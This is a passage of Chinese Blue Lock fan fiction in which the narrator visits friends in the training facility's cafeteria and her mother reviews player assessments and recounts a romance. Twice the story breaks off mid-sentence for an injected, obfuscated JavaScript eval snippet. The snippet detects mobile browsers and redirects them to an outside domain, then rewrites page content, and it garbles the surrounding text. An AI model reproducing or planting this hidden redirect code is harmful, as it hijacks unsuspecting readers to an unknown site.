父亲的目光最终牢牢锁定在我怀里的足球上,笑容灿烂得能闪瞎人眼,声音里充满了“果然如此”的得意,“……爱,你该不会……是在偷偷练足球吧?” 心脏在胸腔里擂鼓般狂跳。否认?在如此铁证面前?我张了张嘴,感觉喉咙有些发干,最终只是从鼻子里挤出一个极其轻微、带着点自暴自弃的: “……嗯。” 声音小得像蚊子哼哼,脸颊烫得更厉害了。这感觉……就像偷偷写小说被家长抓包,还正好翻到了最羞耻的段落! “哈哈哈哈哈!” 父亲爆发出惊天动地的笑声,用力拍了一下自己的大腿,蓝眼睛亮得惊人,“我就知道!我清田的女儿怎么可能对足球没感觉!好!太好了!这才是我的好女儿!” 他大步走过来,带着一股风,不由分说地揉了揉我汗湿的头发,力道大得差点把我揉趴下。 就在这时,母亲温和的声音如同清泉般响起,带着恰到好处的解围:“好了,别逗爱了。看你把她脸红的。” 她放下茶杯,优雅地站起身,目光落在我身上,带着一丝了然和包容的笑意,“既然这样,正好。” 她顿了顿,目光转向父亲,语气从容:“你不是一直想再去看看‘蓝色监狱’的进展吗?下午没什么事,带上爱一起去吧。就当……” 她看向我,那双和父亲一样湛蓝、却沉淀着更多智慧与温柔的眸子里,闪过一丝狡黠的光芒,“……让她去探望一下玲王和凪那两个朋友?这个点过去,正好赶上他们的晚餐时间。” 探望朋友?蓝色监狱的食堂?赶上晚饭? 我抱着足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251824|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球,愣在原地。母亲这提议来得太突然,也太……顺理成章。拒绝?似乎找不到理由,尤其是在刚刚被“人赃并获”的此刻。而且……心底深处,那被高强度训练和凯撒的“实战论”暂时压下的、对玲王和凪近况的关切,以及一丝对那个神秘“蓝色监狱”的好奇,也悄然探出了头。 “……嗯。” 我又应了一声,这次声音稍微大了点,带着点认命,也带着点连自己都没察觉的期待。 *** 当那辆黑色轿车再次驶入那片被高墙电网环绕的森严建筑群时,天色已经染上了淡淡的暮色。巨大的金属闸门在电子认证后无声滑开,如同巨兽缓缓张开的口。车子驶入,一种无形的、充满压迫感的寂静瞬间包裹上来,隔绝了外界的喧嚣。高耸的灰色建筑线条冷硬,巨大的玻璃幕墙反射着夕阳最后一点余晖,透着一股冰冷而高效的工业感,与“监狱”之名无比契合。 车子停在一栋建筑前。在一位穿着笔挺制服、面无表情的工作人员的引导下,我们穿过空旷得能听见脚步回声的大厅,乘坐电梯下行。电梯门再次打开,一股混杂着消毒水、食物香气和隐约汗味的独特气息扑面而来。这里就是蓝色监狱的底层食堂。 食堂空间异常开阔,挑高的穹顶下,整齐排列着无数张长长的金属餐桌和同样材质的连体座椅,泛着冷冰冰的银灰色光泽。此刻正值晚餐高峰,整个食堂人声鼎沸,却又奇异地被某种无形的纪律约束着,没有想象中的喧闹混乱。穿着统一蓝色睡衣的少年们端着餐盘,在取餐窗口前排成数条沉默的长龙,只有餐盘和餐具偶尔碰撞发出的清脆声响,以及压低的交谈声在巨大的空间里嗡嗡回荡。空气里弥漫着炖煮肉类、米饭和酱汁混合的味道,标准而缺乏惊喜的集体食堂气息。 工作人员低声示意我们可以在靠边的观察区等候。父母显然对这里并不陌生,父亲饶有兴致地打量着食堂的布局和人流,蓝眼睛里闪烁着评估的光芒。母亲则沉静地站在一旁,目光如同探针,不着痕迹地扫过那些年轻而充满竞争气息的面孔。 我的目光则急切地在攒动的人头中搜寻着那两个熟悉的身影。紫色……白色…… 找到了! 在食堂靠近中心区域的一张长桌旁。玲王那头醒目的紫发在顶灯下如同上好的绸缎,他正侧着头,似乎在和旁边的人说着什么,脸上带着熟悉的、属于掌控者的自信笑容。凪诚士郎那高大的白色身影则像一座沉默的灯塔,坐在玲王对面,正低着头,慢条斯理地用筷子戳着餐盘里的食物,浑身散发着“节能模式进食中”的慵懒气息。洁世一坐在凪旁边,坐姿端正,正认真地看着餐盘,似乎在研究食物搭配。蜂乐回则坐在玲王另一侧,那头黑金挑染的头发随着他兴奋的手势跳跃着,蜂蜜金瞳闪闪发亮,嘴巴一张一合,显然在眉飞色舞地说着什么。 而在洁世一的另一侧,还坐着一个人。 那是一个我之前从未见过的少年。他同样穿着深蓝色训练服,坐姿异常挺拔,甚至显得有些僵硬。一头深色的短发修剪得一丝不苟,脸上架着一框眼镜,镜片后的眼神极其专注,正死死盯着自己餐盘里被严格分区的食物——米饭、主菜、配菜、汤,界限分明,互不侵犯。他手里拿着筷子,动作精确得像在进行某种科学实验,每一次夹取都带着一种近乎刻板的谨慎和严肃。整张脸绷得紧紧的,透着一股与周围环境格格不入的、近乎呆板的认真劲儿。 母亲顺着我的目光看去,低声在我耳边介绍,声音温和:“那个戴眼镜的孩子,是剑城斩铁。玲王他们的新队友。听说在速度方面有独特的天赋,性格嘛…非常……严谨?” 她斟酌了一下用词,语气里带着一丝不易察觉的莞尔。 剑城斩铁?严谨?看着他那副对着餐盘如临大敌的样子,确实……名不虚传。 看着他们五人围坐一桌的画面——玲王的耀眼,凪的懒散,洁的认真,蜂乐的活力,还有剑城那格格不入的严肃——一种奇异的安定感悄然滑过心间。他们在这里。在一个被称作“监狱”的地方,为了各自的梦想和目标挣扎着、前进着。 我深吸一口气,迈开脚步,正准备朝那张桌子走去。 就在我脚步落下的瞬间! 长桌旁,正侧头听着蜂乐说话、嘴角还噙着笑意的御影玲王,像是感应到了什么,毫无预兆地、极其自然地抬起了头! 几乎是同一时刻,正手舞足蹈、比划着什么的蜂乐回,那如同雷达般敏锐的蜂蜜金瞳,也倏地转向了我的方向! 两道视线,一道紫罗兰般锐利深邃,一道蜂蜜金般璀璨灼亮,带着截然不同的惊讶和瞬间迸发的巨大惊喜,如同舞台的追光灯,精准无比地、同步地—— 牢牢锁定在了我的身上! 25. 会谈 久别重逢。 那两道视线——一道紫罗兰般锐利深邃,一道蜂蜜金般璀璨灼亮——如同舞台的追光灯,精准无比地、同步地牢牢锁定在了我的身上! 时间仿佛被按下了暂停键。食堂里鼎沸的人声、餐盘的碰撞、远处取餐窗口的吆喝,都瞬间褪成了模糊的背景音。玲王脸上的笑容凝固了一瞬,随即像被投入石子的湖面,漾开巨大的、毫不掩饰的惊喜涟漪,紫眸亮得惊人。蜂乐回更是直接从座位上弹了起来,蜂蜜金瞳里爆发出纯粹的快乐光芒,挥舞着手臂,声音穿透了半个食堂的喧哗: “爱——酱——!!!” 下一秒,玲王已经像一道紫色的闪电,拨开人群冲了过来!他速度极快,带起的风都带着少年人特有的热度和急切。 “爱!你怎么来了?!” 他停在我面前一步远的地方,微微喘着气,脸上是纯粹的、毫无阴霾的灿烂笑容,紫眸里翻涌着巨大的喜悦,甚至下意识地伸出手似乎想抓住我的胳膊,又在半途生生克制住,只是用力地握了握拳,“太意外了!什么时候到的?怎么也不提前说一声!” 他连珠炮似的发问,那份熟悉的、掌控一切的锐气似乎被重逢的惊喜冲淡了些许,露出了底下属于少年人的真挚。 蜂乐回紧随其后,像只欢快的小狗蹦到我面前,蜂蜜金瞳亮晶晶地上下打量我:“爱酱!爱酱!真的是你!哇!好久不见!你怎么找到这里的?是来看玲王君和凪君的吗?还是来看我的?小丸子最近有没有想我?我超——级想它的!” 他语速快得像机关枪,热情几乎要满溢出来,让人招架不住。 我被这突如其来的热情包围,脸颊微微发热,心里那点沉甸甸的“睹物思人”感瞬间被冲散了大半。目光不由自主地越过他们兴奋的脸庞,投向那张长桌。 凪诚士郎终于慢吞吞地抬起了头。他那张没什么表情的俊脸上,半睁着的黑眼睛似乎因为看到我而微微睁大了一瞬,里面清晰地掠过一丝“电量不足”的惊讶,随即又恢复了节能模式。他极其轻微地对我点了点头,算是打了招呼,然后继续慢条斯理地戳着餐盘里……呃,某种看不出原貌的糊状物?洁世一则放下了筷子,朝我露出一个腼腆又真诚的笑容,用力点了点头。 而那个戴着眼镜、坐姿异常挺拔的少年——剑城斩铁,此刻正一脸严肃地……盯着我?不,更准确地说,是越过我,用一种近乎研究的、极其专注的目光,死死盯着我身后某个点,仿佛在思考一个关乎人类存亡的哲学问题,完全没被这边的热闹影响。 “陪父亲母亲过来看看,”我笑着回答玲王和蜂乐,目光在他们两人脸上流转,最后落回玲王眼中那纯粹的喜悦上,心底某个角落悄悄安定下来,“正好赶上饭点,就想着来看看你们……吃得怎么样?” 后半句带着点自然的关心。 玲王脸上的笑容更加灿烂,侧身让开一点,做了个“请”的手势:“正好!我们刚开始吃!来来来,一起坐!这边还有位置!” 他指向长桌空着的一侧。 “对呀对呀!爱酱快来!”蜂乐回也立刻热情地附和,伸手就要来拉我。 我的目光顺势落向他们面前的餐盘。这一看,眉头不自觉地就蹙了起来。 差距太悬殊了! 玲王的餐盘里,是一份看起来相当诱人的、煎得恰到好处的厚切肉排,旁边搭配着颜色鲜艳的蔬菜沙拉和一小份精致的炖菜。凪的盘子里虽然被他戳得有点惨不忍睹,但也能看出是类似分量的肉类主菜配意面和西兰花。蜂乐回的盘子里则堆着金黄的炸物和淋着酱汁的米饭。 然而,洁世一的餐盘里……却只有孤零零的一小碟纳豆!几颗黏糊糊的豆子堆在白色的小方碟里,旁边是一碗白米饭和一碗味噌汤,除此之外,再无其他荤腥! 这对比也太强烈了!我的视线又飞快地扫过附近几张桌子,果然,少年们餐盘里的内容五花八门,从简单的蔬菜米饭到丰盛的牛排鱼排,差异巨大,但像洁世一这样只有纳豆的,还是独一份。 “洁……你就吃这个?” 我忍不住指着那碟纳豆,声音里带着难以置信。 洁世一的脸瞬间涨红了,他有些窘迫地低下头,声音很低:“啊……嗯,这个……排名比较靠后,倒数第二……所以……” 他后面的话没说下去,但意思已经很明白了。 玲王脸上的笑容也收敛了些,紫眸里掠过一丝无奈,他解释道:“这里的配菜是按排名发放的,爱。排名越高,能选择的优质蛋白和蔬果就越多。洁他现在在Z队,排名……嗯,暂时不太理想。” 他尽量说得委婉。 蜂乐回立刻接口,蜂蜜金瞳里充满了真诚的关切和一点小得意:“不过我们不会让洁饿肚子的啦!看!” 他指了指自己盘子里一块还没动过的炸鸡块,又指了指玲王盘子里分出来的一些蔬菜沙拉,还有凪那边……呃,被戳得面目全非但分量确实少了一点的肉糊。“我们把配菜分出来共享了!虽然纳豆没人爱吃……” 他皱了皱可爱的小鼻子,做了个嫌弃的表情,“但洁还是得吃掉它!补充蛋白质嘛!” 洁世一的脸更红了,小声道:“……谢谢大家。” 我看着这“营养均衡”的共享餐盘——玲王分出的几片生菜叶子,蜂乐的一块炸鸡,凪那边贡献出的一小坨不明肉泥,以及洁世一自己那碟无法共享的纳豆——只觉得额角隐隐作痛。这能叫营养均衡?维生素C呢?膳食纤维呢?除了米饭管饱,这搭配简直寒碜得让人心酸! “这也太……” 我下意识地想吐槽,目光扫过他们几个年轻而充满朝气的脸,又硬生生把“寒酸”两个字咽了回去,换成了更委婉的担忧,“……营养能跟得上训练强度吗?特别是维生素,这样吃不行吧?” “确实有点勉强呢。” 母亲温和的声音自身后响起。她和父亲不知何时也走了过来,母亲的目光扫过少年们的餐盘,带着了然和一丝不易察觉的心疼,“不过不用担心,孩子们。” 她对洁世一、蜂乐回他们露出安抚的笑容,“我稍后会让人送一些维C片和当季的水果过来,补充一下。这里的米饭和蛋白粉供应是充足的,主要是……” 她顿了顿,声音压低了些,带着点无奈,“绘心君把大部分预算都砸在了训练设备和那个‘进化理论’上,食堂采购……就只好能省则省了。” 原来是资金紧张!绘心甚八那个蘑菇头!我脑海里瞬间浮现出他那张藏在厚厚镜片后、写着“一切为了进化”的疯狂脸庞。为了打造他心中的“最强前锋”,连这些未来之星的胃都能牺牲掉! 就在这时,一直处于节能待机状态、仿佛对食物话题毫无兴趣的凪诚士郎,突然慢悠悠地抬起了头。他那双没什么焦点的黑眼睛精准地越过众人,落在我脸上,慢吞吞地开口: “……小剪。在哪里?” 话题跳转得猝不及防。我愣了一下,才反应过来他问的是他那盆仙人掌宠物。 “在家,窗台上。” 我指了指大概的方向。 凪似乎对这个回答还算满意,微微点了点头,随即又抛出一个问题,语气平板得像在询问天气:“……浇水了吗?” 我看着他那张写满“我很认真在问”的俊脸,又好气又好笑:“按照你吩咐的,一周一次。放心吧,死不了。” 我加重了“死不了”三个字。 凪的嘴角极其轻微地向上扯动了一下,快得如同错觉。他再次点了点头,仿佛完成了一项重大确认,然后低下头,继续和他的食物“搏斗”去了。 “爱!”玲王的声音重新充满了活力和兴奋,他紫眸发亮,显然重逢的喜悦和对训练成果的分享欲压倒了一切,“既然来了,待会儿要不要去看看我们的训练?让你见识一下‘蓝色监狱’特训的成果!保证让你大吃一惊!” 他挺起胸膛,脸上是熟悉的、带着点小炫耀的自信笑容。 我顺着他指的方向看去,目光落在长桌另一端那个依旧坐姿笔挺、眼镜片反着光、正对着自己餐盘里被严格分区的食物进行精密“测绘”的剑城斩铁身上。他似乎完全沉浸在自己的世界里,对我们的对话充耳不闻。 “不用管他么?” 我朝剑城的方向努了努嘴,小声问玲王。 玲王瞥了一眼,紫眸里闪过一丝习以为常的笑意,他凑近我一点,压低声音,带着点促狭:“没事,他会自己跟过来的。这家伙……嗯,有点‘特别’,总之是不聪明。” 他斟酌了一下用词,脸上的笑容扩大,“如果他等会儿说了什么奇怪的话,你就往谐音的方向使劲儿想,大概就能明白了。” 被说的人整天不乐意了:“我才没有不聪明!” 凪诚士郎瞥了他一眼:“你就是不聪明。” 话音刚落,仿佛为了印证凪的话,一直沉默的剑城斩铁突然抬起了头!他推了推眼镜,镜片后的目光异常严肃,直直地看向我们这边,嘴唇抿成一条直线,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251825|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在酝酿着什么重要的发言。 所有人的目光都被他吸引了过去。 只见他深吸一口气,用一种极其郑重、仿佛在宣读科学报告的严肃口吻,清晰地说道: “奥利奥饼干夹心果!” 字正腔圆,掷地有声。食堂里附近几桌的人都好奇地看了过来。 空气凝固了一瞬。 玲王立刻朝我使了个眼色,嘴角憋着笑,无声地做了个“谐音”的口型。凪也难得地掀起了眼皮,黑眼睛里写着“看吧,又来了”。洁世一一脸茫然。蜂乐回则好奇地歪着头,像是在思考这句话的深意。 我脑子里飞快地过了一遍这句话的发音。Ore wa otona dakara…… shounin no ayamachi wa towanai…… 大人……小人……过错……不问…… 再结合玲王的提示…… 电光火石间,一个极其离谱但似乎又无比贴切的谐音翻译蹦了出来—— “……我大人不计小人过?” 噗!我差点没绷住笑出声。这家伙!原来是个一本正经说怪话的笨蛋人设吗?!玲王那句“特别”真是太委婉了! 剑城斩铁显然没理解我们表情的含义,他见我似乎“听懂”了(?),满意地点了点头,重新低下头,继续用他那套精密“测绘法”对付餐盘里的水煮西兰花去了。 一场由笨蛋引发的语言危机就这样被谐音化解。玲王他们显然也习惯了,很快就不再理会斩铁,继续刚才被打断的进餐。气氛重新变得轻松起来,虽然这顿“营养均衡”的晚餐实在让人看得心头发涩。 没过多久,大家都吃得差不多了——主要是没什么可吃的了。玲王放下筷子,再次目光灼灼地看向我,显然对邀请我去参观训练念念不忘。 就在这时,母亲适时地开口了,声音温和却带着不容置疑的意味:“好了,玲王君,蜂乐君,还有大家。看到你们都很好,我们就放心了。” 她微笑着,目光扫过几个少年,“小爱还没吃晚饭,我先带她去员工餐厅吃点东西。你们刚吃完,也稍微休息一下,待会儿还有训练吧?” 她转向我:“爱,我们先过去。待会儿妈妈还有点事情要跟绘心先生谈。” 玲王眼中闪过一丝明显的失望,但很快被理解取代。他点点头,恢复了那副从容的样子:“好的,清田夫人。爱,那你们先去吃饭。训练……下次有机会再看!” 他语气依旧带着期待。 蜂乐回也用力点头:“嗯嗯!爱酱要好好吃饭哦!下次带小丸子的照片给我看!” 凪慢吞吞地“嗯”了一声,算是告别。洁世一也礼貌地说了声:“清田夫人,爱,再见。” 告别了这群在“监狱”里为梦想奋斗的少年,我跟着母亲离开了喧嚣的食堂,穿过一条安静的内部走廊,走向另一侧明显更小、也更安静的员工餐厅。空气中食物的香气似乎也精致了一些。 *** 员工餐厅的饭菜自然比学员食堂丰盛精致许多。简单的定食,米饭晶莹,烤鱼外酥里嫩,配菜是清爽的蔬菜沙拉和一小碗炖得软烂的芋头。我安静地吃着,身体因为下午那场高强度的远程“特训”而残留着疲惫感,此刻被温暖的食物缓缓熨帖。母亲坐在对面,动作优雅地小口吃着,偶尔询问几句我最近的生活和学业。 填饱了肚子,疲惫感似乎更重了。我靠在椅背上,小口啜饮着餐后附赠的热麦茶,看着窗外已经完全暗下来的天色,以及远处训练场上隐约透出的强烈灯光。玲王他们,大概已经开始晚上的训练了吧?在那个蘑菇头绘心甚八的“残酷”计划下…… 正想着,员工餐厅的门被轻轻推开。 帝襟安里步履匆匆地走了进来。她褐红色的短发似乎因为忙碌而有些微乱,怀里紧紧抱着一个厚厚的文件夹,脸上带着一丝疲惫,但褐红色的眼眸在看到母亲时瞬间亮了起来,充满了工作状态的专注。 “清田夫人!” 她快步走到我们桌前,微微躬身,语气恭敬又急切,“您需要的最终筛选名单和第一阶段能力评估报告,我整理好了!” 她将那份厚厚的文件夹小心翼翼地放在母亲面前的桌面上,封面上赫然印着醒目的“BLUE LOCK PROJECT - Phase 1 Assessment & Selection”字样,以及那个五边形Logo。 26. 询问 如果我猜的没错,母亲应该是想挑几个好苗子培养吧。 帝襟安里带来的那份厚厚文件夹,像一块沉重的蓝色砖头,无声地压在餐厅光洁的桌面上。母亲没有立刻翻开,只是用指尖轻轻点了点印着五边形Logo和冰冷英文标题的封面,那姿态如同棋手轻触棋盘边缘,带着一种无声的掌控感。她端起温热的麦茶杯,呷了一口,目光沉静如水,掠过窗外的夜色,又落回帝襟安里那张因忙碌而微微泛红、写满期待的年轻脸庞上。 “辛苦了,安里小姐。坐。”母亲的声音温和,却带着不容置疑的分量。 帝襟安里如蒙大赦,立刻在旁边的空位坐下,脊背依旧挺得笔直,褐红色的眼睛一眨不眨地看着母亲,像等待检阅的士兵。母亲这才伸出保养得宜的手,不疾不徐地翻开了文件夹。 纸张摩擦发出沙沙的轻响,在安静的员工餐厅里格外清晰。映入眼帘的是密密麻麻的数据表格、雷达分析图、不同角度的抓拍照片,以及简短却极具信息量的评语。帝襟安里立刻进入状态,身体微微前倾,声音清晰而快速地补充着: “清田夫人,这一页是综合潜力评分前五十名的初步名单。雷达图涵盖了速度、爆发力、球感、空间感知、射门力量、射门精度、身体对抗、精神韧性等十二个维度。红色区域是平均值,蓝色是个人数据……” 她指着图表上一个个形态各异的五边形,“这位是西冈初突破能力极强,但对抗稍弱……这位是马狼照英,冲击力和终结欲望顶级,但团队协作意识……非常微弱……” 母亲的目光如同最精密的扫描仪,飞快地掠过一页页资料。她看得极快,偶尔在某页停留稍久,指尖会无意识地划过某个数据点或照片上少年锐利的眼神。帝襟安里的解说如同背景音,精准地填补着文字和图表背后的空白。 看着母亲沉静专注的侧脸,帝襟安里热切补充的模样,一个念头突然冒了出来。我放下喝了一半的麦茶,声音不大,却清晰地插入了帝襟安里流畅的介绍:“母亲,你看过现在日本U20国家队的资料吗?” 翻页的动作微微一顿。母亲抬起头,那双沉淀着无数绿茵风云的眼眸看向我,唇角勾起一丝了然的笑意:“当然看过。有几个孩子,还挺有印象的。” 她放下手中的文件,拿起放在桌边的手机,纤细的手指在屏幕上熟练地滑动解锁,点开通讯录。 她将手机屏幕转向我和帝襟安里。 屏幕上显示着两个联系人头像,风格迥异。 第一个头像是一张极其英俊、甚至带点张扬的脸。橙红色的头发如同燃烧的火焰,精心打理出张扬的造型,同样橙红的眼睛直视镜头,带着少年人的锐气和不加掩饰的自信。鼻梁高挺,嘴唇……确实比常人要厚一些,色泽饱满,微微上翘的嘴角带着一种天然的、仿佛不知人间险恶的笑意。看第一眼,会被那份扑面而来的英俊和活力冲击;多看几眼,那份过于直白的坦诚和眼神里隐约透出的、对镜头摆拍的生涩认真劲儿,竟真的给人一种“这家伙是不是太好骗了”的感觉,像一只毛色艳丽、眼神却懵懂天真的狐狸。 “闪堂秋人,”母亲指尖点了点这张头像,“现在U20的王牌前锋。很有冲击力的小伙子,去年为我们家旗下一个运动饮料品牌拍过广告,合作很愉快。就是……” 母亲顿了顿,眼中笑意加深,“拍摄现场被导演忽悠着多做了好几组高难度动作,累得够呛还觉得自己表现特棒,挺有意思的孩子。” 另一个头像则完全是另一种画风。照片里的男人看起来……相当成熟。下巴和上唇留着精心修剪过的胡茬,非但没有邋遢感,反而平添了几分沧桑和硬朗的魅力。头发是深沉的黑色,挑染着几缕低调却不容忽视的墨绿色。最吸引人的是那双眼睛——右眼是深邃的、接近祖母绿的色泽,左眼则是神秘而独特的紫罗兰色!异色的双瞳隔着屏幕望过来,平静、沉稳,仿佛能穿透一切喧嚣,带着一种超越年龄的可靠感和淡淡的疏离。他看起来至少有二十五六岁,气质沉稳得像个久经沙场的老将。 “奥利弗·爱空,”母亲介绍道,语气里带着明显的欣赏,“U20的后卫队长,真正的定海神针。去年我们集团旗下高端男装线的代言人之一。镜头感非常好,沉稳大气,私下里话不多,但非常可靠。有他在后场,前锋会安心很多。” 王牌前锋闪堂秋人,后卫队长奥利弗·爱空。看着这两个风格鲜明、一个像燃烧的火焰一个像深沉的岩石的头像,我毫不怀疑,在不久的将来,无论是玲王、凪他们冲击更高舞台的路上,还是母亲作为赞助商和发掘者的角色,我总会以某种意想不到的方式,和这两个名字产生交集。 母亲收回手机,指尖重新落回那份厚重的蓝色文件夹上,继续她的“寻宝”。帝襟安里也立刻收回心神,再次投入到资料解说中。纸张翻动的声音重新成为主旋律。 母亲的指尖在某一页上停住了,停留的时间明显长于之前任何一页。她的目光沉静地落在那一页的资料上,眉梢几不可察地微微扬起,带着一丝纯粹的、发现稀有矿脉般的探究兴趣。 帝襟安里立刻捕捉到母亲的关注点,声音带着一丝不易察觉的激动:“啊!这位是糸师凛!十六岁,2002年9月9日出生,身高186厘米,位置前锋。他是……” “冴君的弟弟?”母亲直接接过了话头,目光依旧停留在资料页的照片上,语气是陈述而非疑问。 照片上的少年有着一头浓密而略显凌乱的深绿色短发,几缕发丝桀骜地垂在额前。皮肤是冷调的白皙。最引人注目的是那双眼睛——松石绿的色泽,与他哥哥糸师冴如出一辙!那眼神却截然不同,糸师冴的眼神是冰川下的深潭,冷静、疏离;而照片上这位少年的眼神,则如同淬了寒冰的刀锋,锐利、冰冷、充满攻击性,直直刺向镜头,带着毫不掩饰的敌意和一种近乎燃烧的执拗。同样浓密得惊人的下睫毛,此刻非但没有柔化那份冰冷,反而像给利刃镶上了一道寒光闪闪的边。 “是的!清田夫人!”帝襟安里连忙点头,语气带着对母亲眼光的钦佩,“他就是糸师冴选手的亲弟弟,糸师凛!虽然才十六岁,但天赋极其惊人!绘心先生对他评价非常高,认为他是‘蓝色监狱’计划中锋线进化最关键的‘催化剂’之一!他的爆发力、瞬间决策力,尤其是那种……” 她似乎在寻找一个合适的词,“……那种对进球近乎偏执的饥饿感和摧毁一切的压迫力,非常独特!” 从刚才帝襟安里说出“糸师”这个姓氏开始,一个盘旋在我心头许久的疑问就再也按捺不住了。趁着母亲还在仔细审视那份资料,帝襟安里也暂时停下解说,我看向母亲,直接问道:“母亲,糸师冴……和您很熟吗?” 母亲终于从资料上抬起眼,看向我,那双湛蓝的眼眸里漾开温和而了然的笑意。她放下手中的笔,身体微微后靠,姿态放松了些许。“嗯,算得上熟悉。”她的语气带着点回忆的暖意,“他是我第一个独立赞助的足球运动员。那时候他才刚崭露头角,还在国内的少年梯队,眼光和天赋就已经很惊人了。我们签了长约,提供训练资源、生活保障和职业规划建议,看着他一步步成长,直到被REAL这样的顶级豪门看中。” 母亲顿了顿,笑容加深,“他是个非常特别的孩子,冷静得不像少年人,目标极其明确。能见证他的成长,是件很有成就感的事。” 原来如此。第一个赞助对象……难怪在足协大楼,糸师冴对母亲态度那么好。这层关系远比我想象的要深厚。 “哦。”我应了一声,目光下意识地又瞟向资料页上糸师凛那张充满攻击性的脸。兄弟俩,一个冰冷如深海,一个炽烈如寒焰,都带着糸师家标志性的松石绿眼眸和浓密下睫毛,却走向了截然不同的极端。 “那您……这次是不是又要赞助这位糸师凛了?”我问,纯粹是好奇。毕竟他哥哥的成功案例在前。 母亲轻轻摇了摇头,指尖在那份关于糸师凛的详尽报告上点了点,目光重新变得锐利而审慎。“现在说这个还为时过早。”她的声音恢复了商人的理性,“‘蓝色监狱’是个全新的、极端的实验场。绘心甚八的理论能否成功,这些孩子最终能进化到什么程度,尤其是凛……他这种极具破坏性的天赋,最终是会成为最锋利的矛,还是伤人也伤己的双刃剑……都需要时间和这个‘监狱’来检验。” 她抬眼看向我,眼神深邃,“投资,要看最终的结果和项目的潜力。目前,我只是在评估。” 话题似乎告一段落。帝襟安里适时地递上另一份补充资料,母亲重新低下头,准备继续她的工作。然而,就在这短暂的安静间隙,母亲却毫无预兆地、极其自然地再次抬起了头。 她的目光不再是评估者的锐利,而是沉淀着温柔与理解的暖意,如同静谧的月光,静静地落在我身上。 “爱,”她的声音很轻,却清晰地穿透了餐厅里微凉的空气,“你想不想……也在这个项目里踢足球?” 嗡—— 我的大脑仿佛被什么东西狠狠撞了一下,瞬间一片空白。血液似乎都冲上了头顶,又在下一秒褪得干干净净。我猛地抬起头,难以置信地看向母亲。她脸上的表情平静而认真,没有丝毫玩笑或试探的意味,只有纯粹的询问和一种洞悉的包容。帝襟安里也惊讶地睁大了褐红色的眼睛,看看母亲,又看看我,显然没料到话题会如此急转直下。 “我……”喉咙像是被什么东西堵住了,干涩得发不出完整的音节。下午庭院里对着轮胎章鱼疯狂抽射的疲惫感、凯撒冰冷精准的指令、内斯热切的鼓励、还有玲王凪他们在球场上奔跑的身影……无数画面碎片般闪过,搅得思绪一片混乱。踢球?在“蓝色监狱”里?和那些怪物般的少年一起?开什么玩笑! 母亲似乎看穿了我瞬间翻涌的震惊和抗拒。她没有追问,也没有流露出丝毫失望,只是微微笑了笑,那笑容里带着一种过来人的通透和温暖。她端起已经微凉的麦茶,却没有喝,目光仿佛穿透了餐厅的墙壁,投向了遥远时光的彼岸。 “其实,我并不是从小就开始踢球的。”她的声音很轻,像在讲述一个尘封的故事,“甚至可以说,在很长一段时间里,我对足球毫无感觉,甚至觉得一群人在草地上追着一个球跑,有点……傻气。” 这突如其来的坦白让我和帝襟安里都愣住了。那个在绿茵场上叱咤风云、用一脚惊天远射为日本捧回第一座女足世界杯奖杯的清田美纪,曾经觉得踢球很傻? “直到那次欧洲之旅。”母亲的眼中漾起温柔的光芒,仿佛回忆起了什么极其珍贵的画面,“我的父母,也就是你的姥姥姥爷,带着我,去拜访了当时你父亲效力的俱乐部。他们当时是那家俱乐部的重要赞助商之一。” 我的眼前仿佛展开了一幅泛黄的画卷:年轻的母亲,跟随在事业有成的外祖父母身边,带着一丝少女的矜持和好奇,踏入了那个充满汗水、激情与雄性荷尔蒙的足球世界。 “你父亲那时候……”母亲唇角的笑意加深,带着一丝怀念和忍俊不禁,“年轻,金发耀眼得像太阳,整个人都散发着用不完的精力和……嗯,一种近乎愚蠢的自信和热情。在球场上,他像头无所畏惧的雄狮,扑救时带着一种能撕裂空气的气势;在场下,他又像个精力过剩的大男孩,会做一些让人哭笑不得的事情。” 她顿了顿,眼中闪过一丝狡黠的光芒:“我们相处得很愉快。他带我参观训练基地,笨拙地给我讲解那些复杂的战术板——虽然他讲得一团糟;会在我生日时,偷偷把俱乐部餐厅的甜点师拉出来,给我做一个歪歪扭扭写着‘Happy Birthday’的蛋糕;还会在训练结束后,不顾一身臭汗,非要拉着我去看夕阳,说马德里的夕阳是世界上最好看的金色……” 母亲的声音温柔得像在哼唱一首摇篮曲,描绘出的画面带着旧时光特有的暖黄色调。我能想象出父亲年轻时那副傻气又耀眼的模样。 “然后呢?”帝襟安里听得入了神,忍不住小声问,褐红色的眼睛里满是向往。 母亲的笑意更深了,脸颊甚至泛起一丝极其淡的、少女般的红晕:“然后……某个傍晚,训练结束后,他神神秘秘地说有话要对我说。他把我带到球场边,那天的夕阳特别美,把草地都染成了金色。” 母亲模仿着当时的情景,手在身前比划了一下,“他紧张得要命,脸涨得通红,连耳朵尖都是红的。然后……他从他那件宽大的运动外套里,猛地掏出一大束花!” “噗……” 帝襟安里没忍住,笑出了声,又赶紧捂住嘴,眼睛弯成了月牙。 我也忍不住笑了出来,眼前浮现出父亲手忙脚乱从外套里往外掏花的滑稽场景。 “结果呢?”我追问,完全被这个故事吸引了。 “结果?”母亲无奈地笑着摇头,“他把那束娇嫩的玫瑰,紧紧地塞在外套里捂了一下午!等他掏出来的时候,花瓣全都被压扁了,蔫头耷脑的,汁水都染在了他那件雪白的训练服上!那场面……” 母亲忍俊不禁,“他举着那束惨不忍睹的花,整个人都僵住了, 